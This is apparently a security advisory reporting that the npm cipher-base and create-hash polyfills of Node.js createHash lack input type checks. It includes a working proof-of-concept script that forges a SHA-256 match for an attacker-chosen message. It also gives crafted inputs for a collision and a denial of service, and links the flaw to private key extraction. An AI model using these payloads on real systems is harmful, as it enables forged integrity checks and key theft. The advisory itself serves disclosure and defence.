cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe

This works with:

const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
3. DoS on {length:'1e99'}
4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)